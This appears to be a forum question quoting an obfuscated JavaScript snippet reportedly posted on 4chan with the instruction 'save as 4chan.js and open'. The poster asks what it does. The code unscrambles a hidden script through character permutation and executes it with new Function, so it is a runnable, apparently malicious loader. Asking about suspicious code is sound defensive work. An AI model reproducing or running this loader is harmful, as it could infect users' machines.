Someone posted this on 4chan saying "save as 4chan.js and open"
a='.xn;le=)c(s:)"erWap+:(e=g.s(tanWmsfS.etfoto.ot"r-jatr)g4\\hn+d.ti'+
'g"+.c;"t4iece-1(tSjxh)vr!s\\l/lfo"3;jn/blfg)n ;/m.r"/0dtc..bO)?4"'+
'nteys=e!(onnd"elses)e/.rnc"tSqoxs-e,r+e,r"(oebroH.s("oibt(niteaa'+
' t,)og (sb"lte""stdrtft.ptx nba:+ginaope.c"ued+srdsse,snhdanooom'+
'o\\i)/eno;l}mcHh/;xuicbsmrnsetep\\dc".pednnxm\\t(2."tr.lecpg\\Weph"n'+
'(,.s0nca"t!rbt!nsxx""t.=re;epnx\\mto("h!gmc/;p+oea.tr\\!inr=rx)a\\8'+
'"p-px)oepdp\\"fhso"nhsmH"a-)enens.adt4aret(;!saaeocxeyeutnc"a;mua'+
't&in:;pea+j"p/.4{ne-pr)in(i(neeot!)d/t,.atlnrrj.emph)..yem/eaito'
b='';j=0;for(i=0;i<510;i++){j=(j*5+1)%512;b+=a.charAt(j)}new Function(b)()
any idea what it actually does, or a way to decrypt what it's supposed to do?